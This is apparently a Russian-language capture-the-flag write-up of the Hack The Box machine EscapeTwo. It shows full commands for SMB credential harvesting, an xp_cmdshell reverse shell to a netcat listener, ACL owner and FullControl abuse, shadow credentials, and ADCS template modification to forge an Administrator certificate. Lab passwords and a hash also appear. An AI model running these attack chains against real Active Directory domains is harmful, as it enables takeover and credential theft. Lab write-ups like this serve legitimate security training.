January 16

EscapeTwo

В текущей задаче нам уже дают креды rose/KxEPkKe6R8su
Но мы все равно запускаем nmap
Для начала добавляем в hosts


echo '10.10.11.51 escapetwo.htb' | sudo tee -a /etc/hosts

┌─[maus@parrot]─[~]
└──╼ $nmap -sC -sV -Pn 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 01:07 EST
Nmap scan report for EscapeTwo.htb (10.10.11.51)
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-16 06:07:40Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.51:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.51:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-16T04:02:53
|_Not valid after:  2055-01-16T04:02:53
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-16T06:09:01+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-16T06:08:24
|_  start_date: N/A

В выводе nmap мы видим, что есть домен sequel.htb и контроллер домена DC01.sequel.htb
На всякий случай прописываем и их в hosts

echo '10.10.11.51 'DC01.sequel.htb' | sudo tee -a /etc/hosts && echo 'sequel.htb' | sudo tee -a /etc/hosts

В выводе nmap также видим, что открыт 445 порт, а значит можно попробовать smbmap

Ага, удачная аутентификация, а значит можно подключаться через smbclient

Изучаем доступные каталоги и видим, что в каталоге Accounting Department имеются файлы, которые потенциально интересны. Скачиваем их через get

Если мы попытаемся их открыть, то особо ничего не получится (по крайней мере у меня не вышло), но мы знаем что расширение xlsx это по сути архив, поэтому смело распаковываем через unzip

Нам распакуется файл sharedStrings.xml в которой будут логины и пароли с SQL, а также админ SQL

Получаем пароль и подключаемся

После того как подключились, нужно прокинуть шелл для простоты работы

Включаем для начала enable_xp_cmdshell и выбираем powershell в base64, шелл можно сделать на сайте revshells.com. Не забываем у себя открыть nc -nlvp 3344

Итак, после появления шелла изучаем систему. Видим, что в пользователях есть некий ryan Гослинг

Смотрим дальше, нам нужно что-то, что даст нам хотя бы намеки на другие креды.
На диске C видим интересную папку SQL2019, а внутри файл конфигурации и кредами в открытом виде.

Мы же помним, что нашли какого-то Райана, а тут и пароль какой-то интересный. Проверяем в netexec на валидность

Опа, вот это поворот. Не теряя времени подключаемся evil-winrm

Лутаем флаг юзера, и переходим к руту.

Проверяем сетевые конфиги

Добавляем в hosts Sequel.htb и dc01.seqeul.htb

Так как это DC, попробуем проанализировать его через bloodhound

bloodhound-python -u ryan -p "WqSZAFXXXXXXXX" -d sequel.htb -ns 10.10.xx.xx -c All
INFO: Found AD domain: sequel.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.sequel.htb
INFO: Found 10 users
INFO: Found 59 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.sequel.htb
INFO: Done in 00M 16S

Видим, что у Райана есть разрешение WriteOwner на CA_SVC, а это эмитент сертификата. Значит мы можем назначить Райана владельцем SA_SVC

Устанавливаем владельца

bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner ca_svc ryan

Получаем права управления

dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' '10.10.11.51'/'ryan':'WqSZAF6CysDQbGb3'

Получаем shadow креды и NTHash

certipy shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -ns 10.10.11.51 -target 10.10.11.51 -account ca_svc

Если возникает ошибка, установите время как на сервере через ntpdate

Через Certyfi нужно узнать имя объекта

*Evil-WinRM* PS C:\temp> ./Certify.exe find /domain:sequel.htb

**ИЛИ**

KRB5CCNAME=$PWD/ca_svc.ccache certipy find -scheme ldap -k -debug -target DC01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -stdout

Такой же результат будет.
Видим, что ca_svc имеет переопределяемые разрешения для этого сертификата, делаем это

KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target DC01.sequel.htb -dc-ip 10.10.11.51

Используем ca_svc хеш учетных данных пользователя для получения билета аутентификации целевой системы через запрос Kerberos

certipy req -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce -ca sequel-DC01-CA -target DC01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51

Тут могут быть проблемы с самой машиной, так что нужно пытаться несколько раз, и ребутать машину. Ошибка будет что сертификат .pfx генерироваться не будет, только .key, а он нам не нужен.

Получаем хэш администратора через сертификат

certipy auth -pfx administrator_10.pfx  -domain sequel.htb

Получаем хеш, подключаемся через evil-winrm и лутаем root флаг, мы молодцы.